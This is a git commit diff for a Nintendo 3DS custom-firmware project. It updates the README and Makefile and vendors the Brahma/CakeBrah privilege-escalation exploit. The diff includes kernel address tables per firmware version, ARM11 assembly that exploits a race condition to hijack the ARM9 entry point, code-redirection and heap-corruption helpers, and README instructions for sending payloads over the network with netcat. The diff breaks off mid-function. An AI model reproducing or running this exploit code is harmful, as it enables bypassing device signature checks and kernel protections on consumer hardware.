Updated to support hax 2.5, edited README, supports devkitpro 45, etc
This commit is contained in:
parent
653bea3e56
commit
a6d8d77ac7
12
README.md
12
README.md
@ -15,15 +15,13 @@ Pre-compiled version can still be found on my [pastebin](http://pastebin.com/c5A
|
||||
|
||||
**Features:**
|
||||
|
||||
* Ninjhax and MSET support!
|
||||
* Ninjhax 2.5 and MSET support!
|
||||
|
||||
* Sig checks disabled
|
||||
* Sig checks disabled!
|
||||
|
||||
* screenshots (set for pokemon game offsets currently) [Select Button + X]
|
||||
* Basic ARM9 thread with screenshot and RAM dump capabilities!
|
||||
|
||||
* RAM dump (currently set for FCRAM) [Start Button + X]
|
||||
|
||||
* emunand (with 'Rei' version string)
|
||||
* Emunand up to latest firmware! (with 'Rei' version string)
|
||||
|
||||
|
||||
**Credits:**
|
||||
@ -32,7 +30,7 @@ Pre-compiled version can still be found on my [pastebin](http://pastebin.com/c5A
|
||||
|
||||
3DBREW for saving me plenty of reverse engineering time.
|
||||
|
||||
Patois for Brahma code.
|
||||
Patois/Cakes for Brahma code.
|
||||
|
||||
Normmatt for sdmmc.c and generally being helpful!
|
||||
|
||||
|
2
mset
2
mset
@ -1 +1 @@
|
||||
Subproject commit 7f5e51a1fc969ce6d7db1dc81ea92426960367ac
|
||||
Subproject commit 89e4a8f0675ca70a7b0574fdcdd30b0f1d97d43e
|
6
ninjhax/.gitignore
vendored
Normal file
6
ninjhax/.gitignore
vendored
Normal file
@ -0,0 +1,6 @@
|
||||
*.elf
|
||||
*.3dsx
|
||||
*.smdh
|
||||
|
||||
build
|
||||
output
|
@ -9,6 +9,11 @@ endif
|
||||
TOPDIR ?= $(CURDIR)
|
||||
include $(DEVKITARM)/3ds_rules
|
||||
|
||||
# This should be set externally
|
||||
name ?= reiNand.dat
|
||||
filepath ?=
|
||||
dir_out ?= $(CURDIR)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# TARGET is the name of the output
|
||||
# BUILD is the directory where object files & intermediate files will be placed
|
||||
@ -26,26 +31,27 @@ include $(DEVKITARM)/3ds_rules
|
||||
# - icon.png
|
||||
# - <libctru folder>/default_icon.png
|
||||
#---------------------------------------------------------------------------------
|
||||
TARGET := ReiNand
|
||||
TARGET := $(name:.dat=)
|
||||
BUILD := build
|
||||
SOURCES := source
|
||||
SOURCES := source source/libkhax
|
||||
DATA := data
|
||||
INCLUDES := include
|
||||
APP_TITLE := ReiNAND
|
||||
APP_DESCRIPTION := N3DS CFW
|
||||
APP_AUTHOR := Reisyukaku
|
||||
APP_TITLE ?= $(name:.dat=)
|
||||
APP_DESCRIPTION ?= Privileged ARM11/ARM9 Code Execution
|
||||
APP_AUTHOR ?= patois
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# options for code generation
|
||||
#---------------------------------------------------------------------------------
|
||||
ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard
|
||||
|
||||
CFLAGS := -g -Wall -O3 -mword-relocations \
|
||||
CFLAGS := -g -Wall -Wextra -O3 -mword-relocations \
|
||||
-fomit-frame-pointer -ffast-math \
|
||||
$(ARCH)
|
||||
|
||||
CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -w
|
||||
CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -DLAUNCHER_PATH='"$(filepath)$(name)"'
|
||||
|
||||
CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11 -w
|
||||
CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11
|
||||
|
||||
ASFLAGS := -g $(ARCH)
|
||||
LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map)
|
||||
@ -66,7 +72,7 @@ LIBDIRS := $(CTRULIB)
|
||||
ifneq ($(BUILD),$(notdir $(CURDIR)))
|
||||
#---------------------------------------------------------------------------------
|
||||
|
||||
export OUTPUT := $(CURDIR)/$(TARGET)
|
||||
export OUTPUT := $(dir_out)/$(TARGET)
|
||||
export TOPDIR := $(CURDIR)
|
||||
|
||||
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
|
||||
@ -77,6 +83,7 @@ export DEPSDIR := $(CURDIR)/$(BUILD)
|
||||
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
|
||||
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
|
||||
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
|
||||
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# use CXX for linking C++ projects, CC for standard C
|
||||
@ -92,7 +99,8 @@ else
|
||||
endif
|
||||
#---------------------------------------------------------------------------------
|
||||
|
||||
export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
|
||||
export OFILES := $(addsuffix .o,$(BINFILES)) \
|
||||
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
|
||||
|
||||
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
|
||||
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
|
||||
@ -110,7 +118,7 @@ ifeq ($(strip $(ICON)),)
|
||||
endif
|
||||
endif
|
||||
else
|
||||
export APP_ICON := $(TOPDIR)/$(ICON)
|
||||
export APP_ICON := $(ICON)
|
||||
endif
|
||||
|
||||
.PHONY: $(BUILD) clean all
|
||||
@ -126,7 +134,8 @@ $(BUILD):
|
||||
#---------------------------------------------------------------------------------
|
||||
clean:
|
||||
@echo clean ...
|
||||
@rm -fr $(BUILD) $(TARGET).3dsx $(OUTPUT).smdh $(TARGET).elf
|
||||
@rm -fr $(BUILD) $(OUTPUT).3dsx $(OUTPUT).smdh
|
||||
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
else
|
||||
@ -141,8 +150,7 @@ ifeq ($(strip $(NO_SMDH)),)
|
||||
all : $(OUTPUT).3dsx $(OUTPUT).smdh
|
||||
endif
|
||||
cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label
|
||||
$(OUTPUT).3dsx : $(OUTPUT).elf
|
||||
$(OUTPUT).elf : $(OFILES)
|
||||
$(OUTPUT).3dsx : $(OFILES)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# you need a rule like this for each extension you use as binary data
|
||||
|
121
ninjhax/README-brahma
Normal file
121
ninjhax/README-brahma
Normal file
@ -0,0 +1,121 @@
|
||||
Brahma - Privilege elevation exploit for the Nintendo 3DS
|
||||
=========================================================
|
||||
|
||||
WTF is 'Brahma'?
|
||||
----------------
|
||||
Brahma is a development tool for the Nintendo 3DS platform that enables
|
||||
privileged code execution on the ARM9 processor of the Nintendo 3DS platform.
|
||||
It does so by exploiting two vulnerabilities in order to elevate its
|
||||
privileges.
|
||||
|
||||
The exploits utilized by Brahma are based on "commercial" exploits that
|
||||
have been reverse engineered. Brahma has been developed with the goal of
|
||||
understanding and documenting the nature of the exploits in mind and has
|
||||
been put further effort into during its development process in order to
|
||||
achieve reliable exploitation and stability.
|
||||
|
||||
Brahma comes with full source code that is based on libctru and requires
|
||||
existing user mode code execution privileges (Ninjhax), and can then be
|
||||
used to further elevate privileges to ARM9 pre-kernel / SVC mode.
|
||||
|
||||
Also, "Brahma, the creator" is a god in hinduism that is often portrayed
|
||||
with four heads and arms (heh... so funny :\).
|
||||
|
||||
How to build:
|
||||
-------------
|
||||
- Download and install devkitARM (http://devkitpro.org/wiki/Getting_Started)
|
||||
- Open a shell and run make
|
||||
|
||||
How to use:
|
||||
-----------
|
||||
- Prebuilt binary releases are available at
|
||||
https://github.com/patois/Brahma/releases
|
||||
- Run brahma.3dsx (using homebrew launcher)
|
||||
- By default, the exploit will attempt to gain ARM11 kernel privileges before
|
||||
finally gaining ARM9 pre-kernel privileges (by performing a "firmlaunch")
|
||||
|
||||
"Hotkeys" (press and hold during startup of BRAHMA):
|
||||
----------------------------------------------------
|
||||
|
||||
* LEFT : Loads 'arm9payload.bin' from the root folder of the 3DS' SD card
|
||||
and executes it
|
||||
|
||||
* RIGHT : Performs a reboot / firm launch of the 3DS system
|
||||
|
||||
* NONE : Displays a menu which allows payload files to be received via
|
||||
a WiFi network connection or loaded from the '/brahma' folder
|
||||
located in the root folder of the SD card
|
||||
|
||||
In order to send payload files to the 3DS via a network connection,
|
||||
the Python script '/tools/client.py' can be used. Alternatively, netcat
|
||||
does the job as well.
|
||||
|
||||
Syntax:
|
||||
-------
|
||||
client.py: 'python client.py <3DS ip> <filename>'
|
||||
netcat: 'nc <3DS ip> 80 < <filename>'
|
||||
|
||||
Examples:
|
||||
---------
|
||||
client.py: 'python client.py 10.0.0.5 payload.bin'
|
||||
netcat: 'nc 10.0.0.5 80 < payload.bin'
|
||||
|
||||
Example programs that run in privileged ARM9 mode can be downloaded from
|
||||
https://github.com/patois/3DSProjects/tree/master/Brahma/
|
||||
|
||||
A memory dumper (3DSDevTools) for Brahma is available at
|
||||
https://github.com/patois/3DSDevTools/releases
|
||||
|
||||
There is also a port of Decrypt9 by archshift which can be loaded using
|
||||
bootstrap or Brahma (use 'make' to build the project, then use one of the
|
||||
methods supported by Brahma to load the Decrypt9 payload). Decrypt9 can be
|
||||
downloaded from https://github.com/archshift/Decrypt9/tree/bootstrap
|
||||
|
||||
Developers:
|
||||
-----------
|
||||
Brahma and its exploits which enable privileged ARM9 code execution
|
||||
on the Nintendo 3DS may also be used as a "library" (#include "brahma.h")
|
||||
|
||||
- call brahma_init() - initializes Brahma
|
||||
- call load_arm9_payload() - loads a payload binary from disk
|
||||
- call firm_reboot() - executes a payload binary (privileged ARM9 code)
|
||||
- (please check the source code for more features and options)
|
||||
|
||||
ARM9 payload must consist of valid ARM9 executable code and will be
|
||||
mapped to physical address 0x23F00000 during run-time. Its code should begin
|
||||
with a branch instruction at offset 0 and a 'placeholder' for a u32
|
||||
variable at offset 4, which will be filled by Brahma with a backup of
|
||||
the original ARM9 entry point of the FIRM header during runtime.
|
||||
|
||||
Brahma is written in a way that allows developers of payload binaries
|
||||
to easily return control to the 3DS' firmware by simply returning from
|
||||
the main() function of the payload.
|
||||
|
||||
This allows reading and altering of memory contents, such as the mapped
|
||||
Nintendo firmware (including ARM9 kernel, Process9, ARM11 kernel and several
|
||||
processes running on the ARM11 core), for testing purposes, without requiring
|
||||
any changes on the file system level.
|
||||
|
||||
Credits:
|
||||
--------
|
||||
- To 3dbrew.org and all its contributors for being such a great resource
|
||||
- To whomever initially found the vulnerabilities and wrote the publicly
|
||||
available exploit code
|
||||
- To everybody who's been working on porting this exploit and its various
|
||||
"bootstrap" branches to newer firmware versions and improving its stability
|
||||
(in particular yifanlu, yuriks and shinyquagsire23)
|
||||
- To everybody involved in creating libctru, Ninjhax and the Homebrew Menu
|
||||
|
||||
Disclaimer:
|
||||
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES,
|
||||
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS
|
||||
OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
|
||||
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
|
||||
IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY
|
||||
OF SUCH DAMAGE.
|
||||
|
||||
(c) 2015, patois
|
23
ninjhax/README.md
Normal file
23
ninjhax/README.md
Normal file
@ -0,0 +1,23 @@
|
||||
CakeBrah
|
||||
========
|
||||
|
||||
This is a fork of Brahma, that loads CakeHax payloads in the environment they expect.
|
||||
This means mostly setting the framebuffer offsets and mode right.
|
||||
|
||||
How to use this in your project
|
||||
-------------------------------
|
||||
|
||||
Look at [CakeHax](https://github.com/mid-kid/CakeHax) for this. It's pretty much the same.
|
||||
No injection with dd is needed, as it loads the payload from your .dat file.
|
||||
The different configuration flags are detailed below.
|
||||
|
||||
### Makefile options
|
||||
|
||||
Name |Default |Description
|
||||
----------------|------------------------------------|-----------
|
||||
dir\_out |$(CURDIR) |Where the output files should be placed (3dsx and smdh).
|
||||
name |Cakes.dat |The name of the .dat file from which the payload will be loaded.
|
||||
filepath | |Path in the SD card where the .dat file is located.
|
||||
APP\_TITLE |Cakes |The title of the app shown in the Homebrew Menu.
|
||||
APP\_DESCRIPTION|Privileged ARM11/ARM9 Code Execution|The description of the app shown in the Homebrew Menu.
|
||||
APP\_AUTHOR |patois |The author of the app shown in the Homebrew Menu.
|
@ -2,30 +2,25 @@
|
||||
|
||||
#include "exploitdata.h"
|
||||
|
||||
s32 load_arm9_payload (char *filename);
|
||||
u32 brahma_init (void);
|
||||
u32 brahma_exit (void);
|
||||
s32 load_arm9_payload_offset (char *filename, u32 offset, u32 max_psize);
|
||||
s32 load_arm9_payload_from_mem (u8* data, u32 dsize);
|
||||
void redirect_codeflow (u32 *dst_addr, u32 *src_addr);
|
||||
void do_gshax_copy (void *dst, void *src, u32 len);
|
||||
void priv_write_four (u32 address);
|
||||
void user_clear_icache (void);
|
||||
s32 corrupt_svcCreateThread (void);
|
||||
s32 map_arm9_payload (void);
|
||||
s32 map_arm11_payload (void);
|
||||
void exploit_arm9_race_condition (void);
|
||||
void repair_svcCreateThread (void);
|
||||
s32 get_exploit_data (struct exploit_data *data);
|
||||
s32 firm_reboot ();
|
||||
|
||||
#define load_arm9_payload(filename) load_arm9_payload_offset(filename, 0, 0)
|
||||
|
||||
#define BRAHMA_NETWORK_PORT 80
|
||||
|
||||
#define ARM_JUMPOUT 0xE51FF004 // LDR PC, [PC, -#04]
|
||||
#define ARM_RET 0xE12FFF1E // BX LR
|
||||
#define ARM_NOP 0xE1A00000 // NOP
|
||||
|
||||
static u8 *g_ext_arm9_buf;
|
||||
static u32 g_ext_arm9_size = 0;
|
||||
static s32 g_ext_arm9_loaded = 0;
|
||||
|
||||
extern void *arm11_start;
|
||||
extern void *arm11_end;
|
||||
extern void *arm9_start;
|
||||
|
@ -17,18 +17,17 @@
|
||||
/* any changes to this structure must also be applied to
|
||||
the data structure following the 'arm11_globals_start'
|
||||
label of arm11.s */
|
||||
typedef struct arm11_shared_data {
|
||||
struct arm11_shared_data {
|
||||
u32 va_pdn_regs;
|
||||
u32 va_pxi_regs;
|
||||
u32 va_hook1_ret;
|
||||
};
|
||||
|
||||
typedef struct exploit_data {
|
||||
struct exploit_data {
|
||||
|
||||
u32 firm_version;
|
||||
u32 sys_model; // mask
|
||||
|
||||
u32 va_patch_createthread;
|
||||
u32 va_patch_hook1;
|
||||
u32 va_patch_hook2;
|
||||
u32 va_hook1_ret;
|
||||
@ -42,43 +41,37 @@ typedef struct exploit_data {
|
||||
u32 va_pxi_regs;
|
||||
};
|
||||
|
||||
static struct exploit_data g_expdata;
|
||||
static struct arm11_shared_data g_arm11shared;
|
||||
|
||||
// add all vulnerable systems below
|
||||
static const struct exploit_data supported_systems[] = {
|
||||
{
|
||||
0x022E0000, // FIRM version
|
||||
SYS_MODEL_NEW_3DS, // model
|
||||
0xDFF83837, // VA of CreateThread code to corrupt
|
||||
0xDFFE7A50, // VA of 1st hook for firmlaunch
|
||||
0xDFFF4994, // VA of 2nd hook for firmlaunch
|
||||
0xFFF28A58, // VA of return address from 1st hook
|
||||
0xFFF28A58, // VA of return address from 1st hook
|
||||
0xE0000000, // VA of FCRAM
|
||||
0xDFFF4000, // VA of lower mapped exception handler base
|
||||
0xFFFF0000, // VA of upper mapped exception handler base
|
||||
0xFFF158F8, // VA of the KernelSetState syscall (upper mirror)
|
||||
0xFFFBE000, // VA PDN registers
|
||||
0xFFFC0000 // VA PXI registers
|
||||
0xFFFC0000 // VA PXI registers
|
||||
},
|
||||
{
|
||||
0x022C0600, // FIRM version
|
||||
SYS_MODEL_NEW_3DS, // model
|
||||
0xDFF83837, // VA of CreateThread code to corrupt
|
||||
0xDFFE7A50, // VA of 1st hook for firmlaunch
|
||||
0xDFFF4994, // VA of 2nd hook for firmlaunch
|
||||
0xFFF28A58, // VA of return address from 1st hook
|
||||
0xFFF28A58, // VA of return address from 1st hook
|
||||
0xE0000000, // VA of FCRAM
|
||||
0xDFFF4000, // VA of lower mapped exception handler base
|
||||
0xFFFF0000, // VA of upper mapped exception handler base
|
||||
0xFFF158F8, // VA of the KernelSetState syscall (upper mirror)
|
||||
0xFFFBE000, // VA PDN registers
|
||||
0xFFFC0000 // VA PXI registers
|
||||
0xFFFC0000 // VA PXI registers
|
||||
},
|
||||
{
|
||||
0x02220000,
|
||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||
0xEFF83C9F,
|
||||
0xEFFE4DD4,
|
||||
0xEFFF497C,
|
||||
0xFFF84DDC,
|
||||
@ -92,7 +85,6 @@ static const struct exploit_data supported_systems[] = {
|
||||
{
|
||||
0x02230600,
|
||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||
0xEFF83737,
|
||||
0xEFFE55BC,
|
||||
0xEFFF4978,
|
||||
0xFFF765C4,
|
||||
@ -106,7 +98,6 @@ static const struct exploit_data supported_systems[] = {
|
||||
{
|
||||
0x022E0000,
|
||||
SYS_MODEL_OLD_3DS,
|
||||
0xDFF8383F,
|
||||
0xDFFE59D0,
|
||||
0xDFFF4974,
|
||||
0xFFF279D8,
|
||||
@ -120,7 +111,6 @@ static const struct exploit_data supported_systems[] = {
|
||||
{
|
||||
0x022C0600,
|
||||
SYS_MODEL_OLD_3DS,
|
||||
0xDFF8376F,
|
||||
0xDFFE4F28,
|
||||
0xDFFF4974,
|
||||
0xFFF66F30,
|
||||
@ -134,21 +124,19 @@ static const struct exploit_data supported_systems[] = {
|
||||
{
|
||||
0x02280000,
|
||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||
0xEFF83733,
|
||||
0xEFFE5B30,
|
||||
0xEFFF4974,
|
||||
0xEFFF4978,
|
||||
0xFFF76B38,
|
||||
0xF0000000,
|
||||
0xEFFF4000,
|
||||
0xFFFF0000,
|
||||
0xFFF54BAC,
|
||||
0xFFF64AAC,
|
||||
0xFFFD0000,
|
||||
0xFFFD2000
|
||||
},
|
||||
{
|
||||
0x02270400,
|
||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||
0xEFF83737,
|
||||
0xEFFE5B34,
|
||||
0xEFFF4978,
|
||||
0xFFF76B3C,
|
||||
@ -162,7 +150,6 @@ static const struct exploit_data supported_systems[] = {
|
||||
{
|
||||
0x02250000,
|
||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||
0xEFF83733,
|
||||
0xEFFE5AE8,
|
||||
0xEFFF4978,
|
||||
0xFFF76AF0,
|
||||
@ -176,7 +163,6 @@ static const struct exploit_data supported_systems[] = {
|
||||
{
|
||||
0x02260000,
|
||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||
0xEFF83733,
|
||||
0xEFFE5AE8,
|
||||
0xEFFF4978,
|
||||
0xFFF76AF0,
|
||||
@ -190,7 +176,6 @@ static const struct exploit_data supported_systems[] = {
|
||||
{
|
||||
0x02240000,
|
||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||
0xEFF83733,
|
||||
0xEFFE55B8,
|
||||
0xEFFF4978,
|
||||
0xFFF765C0,
|
||||
|
@ -1,4 +1,8 @@
|
||||
#pragma once
|
||||
|
||||
void InvalidateEntireInstructionCache (void);
|
||||
void CleanEntireDataCache (void);
|
||||
void dsb(void);
|
||||
void DisableInterrupts (void);
|
||||
void EnableInterrupts (void);
|
||||
void InvalidateEntireDataCache (void);
|
||||
|
@ -11,17 +11,17 @@ arm11_start:
|
||||
hook1:
|
||||
STMFD SP!, {R0-R12,LR}
|
||||
|
||||
MOV R0, #1000
|
||||
BL busy_spin
|
||||
MOV R0, #64
|
||||
BL delay
|
||||
|
||||
MOV R0, #0
|
||||
BL pxi_send
|
||||
|
||||
BL pxi_send
|
||||
|
||||
BL pxi_sync
|
||||
|
||||
|
||||
MOV R0, #0x10000
|
||||
BL pxi_send
|
||||
|
||||
|
||||
BL pxi_recv
|
||||
BL pxi_recv
|
||||
BL pxi_recv
|
||||
@ -29,15 +29,9 @@ hook1:
|
||||
MOV R0, #2
|
||||
BL pdn_send
|
||||
|
||||
MOV R0, #16
|
||||
BL busy_spin
|
||||
|
||||
MOV R0, #0
|
||||
BL pdn_send
|
||||
|
||||
MOV R0, #16
|
||||
BL busy_spin
|
||||
|
||||
LDMFD SP!, {R0-R12,LR}
|
||||
|
||||
LDR R0, var_44836
|
||||
@ -53,23 +47,27 @@ hook2:
|
||||
LDR R2, pa_hijack_arm9_dst
|
||||
MOV R4, R2
|
||||
BL copy_mem
|
||||
MOV r0, #0
|
||||
MCR p15, 0, r0, c7, c10, 0 @ Clean data cache
|
||||
MCR p15, 0, r0, c7, c10, 4 @ Drain write buffer
|
||||
MCR p15, 0, r0, c7, c5, 0 @ Flush instruction cache
|
||||
BX R4
|
||||
|
||||
@ exploits a race condition in order
|
||||
@ to take control over the arm9 core
|
||||
hijack_arm9:
|
||||
@ init
|
||||
LDR R0, pa_arm11_code
|
||||
MOV R1, #0
|
||||
LDR R0, pa_arm11_code
|
||||
MOV R1, #0
|
||||
STR R1, [R0]
|
||||
|
||||
|
||||
@ load physical addresses
|
||||
LDR R10, pa_firm_header
|
||||
LDR R9, pa_arm9_payload
|
||||
LDR R8, pa_io_mem
|
||||
|
||||
|
||||
@ send pxi cmd 0x44846
|
||||
LDR R1, pa_pxi_regs
|
||||
LDR R1, pa_pxi_regs
|
||||
LDR R2, some_pxi_cmd
|
||||
STR R2, [R1, #8]
|
||||
|
||||
@ -77,26 +75,20 @@ wait_arm9_loop:
|
||||
LDRB R0, [R8]
|
||||
ANDS R0, R0, #1
|
||||
BNE wait_arm9_loop
|
||||
|
||||
@ get arm9 orig entry point phys addr from FIRM header
|
||||
LDR R0, [R10, #0x0C]
|
||||
|
||||
@ backup orig entry point to FCRAM + offs ARM9 payload + 4
|
||||
STR R0, [R9, #0x4]
|
||||
|
||||
@ overwrite orig entry point with FCRAM addr
|
||||
@ this exploits the race condition bug
|
||||
STR R9, [R10, #0x0C]
|
||||
STR R9, [R10, #0x0C]
|
||||
|
||||
LDR R0, pa_arm11_code
|
||||
wait_arm11_loop:
|
||||
LDR R1, [r0]
|
||||
CMP R1, #0
|
||||
CMP R1, #0
|
||||
BEQ wait_arm11_loop
|
||||
BX R1
|
||||
|
||||
pa_hijack_arm9_dst: .long 0x1FFFFC00
|
||||
pa_arm11_code: .long 0x1FFFFFFC
|
||||
pa_arm11_code: .long 0x1FFFFFF8
|
||||
pa_pxi_regs: .long 0x10163000
|
||||
some_pxi_cmd: .long 0x44846
|
||||
pa_firm_header: .long 0x24000000
|
||||
@ -128,29 +120,32 @@ loc_FFFF0AA8:
|
||||
locret_FFFF0AC0:
|
||||
BX LR
|
||||
|
||||
busy_spin:
|
||||
SUBS R0, R0, #2
|
||||
NOP
|
||||
BGT busy_spin
|
||||
BX LR
|
||||
|
||||
pdn_send:
|
||||
LDR R1, va_pdn_regs
|
||||
STRB R0, [R1, #0x230]
|
||||
BX LR
|
||||
|
||||
pxi_send:
|
||||
|
||||
pxi_send:
|
||||
LDR R1, va_pxi_regs
|
||||
loc_1020D0:
|
||||
LDRH R2, [R1,#4]
|
||||
TST R2, #2
|
||||
BNE loc_1020D0
|
||||
STR R0, [R1,#8]
|
||||
|
||||
MOV R0, #4
|
||||
delay:
|
||||
MOV R1, #0
|
||||
MCR p15, 0, r1, c7, c10, 0
|
||||
MCR p15, 0, r1, c7, c10, 4
|
||||
loop:
|
||||
SUBS R0, #1
|
||||
BGT loop
|
||||
BX LR
|
||||
|
||||
pxi_recv:
|
||||
LDR R0, va_pxi_regs
|
||||
loc_1020FC:
|
||||
loc_1020FC:
|
||||
LDRH R1, [R0,#4]
|
||||
TST R1, #0x100
|
||||
BNE loc_1020FC
|
||||
|
@ -4,21 +4,29 @@
|
||||
#include <string.h>
|
||||
#include <malloc.h>
|
||||
#include <dirent.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/_default_fcntl.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
#include "brahma.h"
|
||||
#include "exploitdata.h"
|
||||
#include "utils.h"
|
||||
#include "libkhax/khax.h"
|
||||
|
||||
GSP_FramebufferInfo topFramebufferInfo, bottomFramebufferInfo;
|
||||
static u8 *g_ext_arm9_buf;
|
||||
static u32 g_ext_arm9_size = 0;
|
||||
static s32 g_ext_arm9_loaded = 0;
|
||||
static struct exploit_data g_expdata;
|
||||
static struct arm11_shared_data g_arm11shared;
|
||||
u32 frameBufferData[3];
|
||||
|
||||
/* should be the very first call. allocates heap buffer
|
||||
for ARM9 payload */
|
||||
for ARM9 payload */
|
||||
u32 brahma_init (void) {
|
||||
g_ext_arm9_buf = memalign(0x1000, ARM9_PAYLOAD_MAX_SIZE);
|
||||
return (g_ext_arm9_buf != 0);
|
||||
return (g_ext_arm9_buf != 0);
|
||||
}
|
||||
|
||||
/* call upon exit */
|
||||
@ -26,41 +34,23 @@ u32 brahma_exit (void) {
|
||||
if (g_ext_arm9_buf) {
|
||||
free(g_ext_arm9_buf);
|
||||
}
|
||||
return 1;
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* overwrites two instructions (8 bytes in total) at src_addr
|
||||
with code that redirects execution to dst_addr */
|
||||
with code that redirects execution to dst_addr */
|
||||
void redirect_codeflow (u32 *dst_addr, u32 *src_addr) {
|
||||
*(src_addr + 1) = dst_addr;
|
||||
*src_addr = ARM_JUMPOUT;
|
||||
}
|
||||
|
||||
/* exploits a bug that causes the GPU to copy memory
|
||||
that otherwise would be inaccessible to code from
|
||||
a non-privileged context */
|
||||
void do_gshax_copy (void *dst, void *src, u32 len) {
|
||||
u32 check_mem = linearMemAlign(0x10000, 0x40);
|
||||
s32 i = 0;
|
||||
|
||||
for (i = 0; i < 16; ++i) {
|
||||
GSPGPU_FlushDataCache (NULL, src, len);
|
||||
GX_SetTextureCopy(NULL, src, 0, dst, 0, len, 8);
|
||||
GSPGPU_FlushDataCache (NULL, check_mem, 16);
|
||||
GX_SetTextureCopy(NULL, src, 0, check_mem, 0, 0x40, 8);
|
||||
}
|
||||
HB_FlushInvalidateCache();
|
||||
linearFree(check_mem);
|
||||
return;
|
||||
*(src_addr + 1) = (u32)dst_addr;
|
||||
*src_addr = ARM_JUMPOUT;
|
||||
}
|
||||
|
||||
/* fills exploit_data structure with information that is specific
|
||||
to 3DS model and firmware version
|
||||
returns: 0 on failure, 1 on success */
|
||||
returns: 0 on failure, 1 on success */
|
||||
s32 get_exploit_data (struct exploit_data *data) {
|
||||
u32 fversion = 0;
|
||||
u32 fversion = 0;
|
||||
u8 isN3DS = 0;
|
||||
s32 i;
|
||||
u32 i;
|
||||
s32 result = 0;
|
||||
u32 sysmodel = SYS_MODEL_NONE;
|
||||
|
||||
@ -68,11 +58,11 @@ s32 get_exploit_data (struct exploit_data *data) {
|
||||
return result;
|
||||
|
||||
fversion = osGetFirmVersion();
|
||||
APT_CheckNew3DS(NULL, &isN3DS);
|
||||
APT_CheckNew3DS(&isN3DS);
|
||||
sysmodel = isN3DS ? SYS_MODEL_NEW_3DS : SYS_MODEL_OLD_3DS;
|
||||
|
||||
/* copy platform and firmware dependent data */
|
||||
for(i=0; i < sizeof(supported_systems) / sizeof(supported_systems[0]); i++) {
|
||||
for(i = 0; i < sizeof(supported_systems) / sizeof(supported_systems[0]); i++) {
|
||||
if (supported_systems[i].firm_version == fversion &&
|
||||
supported_systems[i].sys_model & sysmodel) {
|
||||
memcpy(data, &supported_systems[i], sizeof(struct exploit_data));
|
||||
@ -83,70 +73,12 @@ s32 get_exploit_data (struct exploit_data *data) {
|
||||
return result;
|
||||
}
|
||||
|
||||
/* exploits a bug in order to cause the ARM11 kernel
|
||||
to write a certain 32 bit value to 'address' */
|
||||
void priv_write_four (u32 address) {
|
||||
const u32 size_heap_cblk = 8 * sizeof(u32);
|
||||
u32 addr_lin, addr_lin_o;
|
||||
u32 dummy;
|
||||
u32 *saved_heap = linearMemAlign(size_heap_cblk, 0x10);
|
||||
u32 *cstm_heap = linearMemAlign(size_heap_cblk, 0x10);
|
||||
|
||||
svcControlMemory(&addr_lin, 0, 0, 0x2000, MEMOP_ALLOC_LINEAR, 0x3);
|
||||
addr_lin_o = addr_lin + 0x1000;
|
||||
svcControlMemory(&dummy, addr_lin_o, 0, 0x1000, MEMOP_FREE, 0);
|
||||
|
||||
// back up heap
|
||||
do_gshax_copy(saved_heap, addr_lin_o, size_heap_cblk);
|
||||
|
||||
// set up a custom heap ctrl structure
|
||||
cstm_heap[0] = 1;
|
||||
cstm_heap[1] = address - 8;
|
||||
cstm_heap[2] = 0;
|
||||
cstm_heap[3] = 0;
|
||||
|
||||
// corrupt heap ctrl structure by overwriting it with our custom struct
|
||||
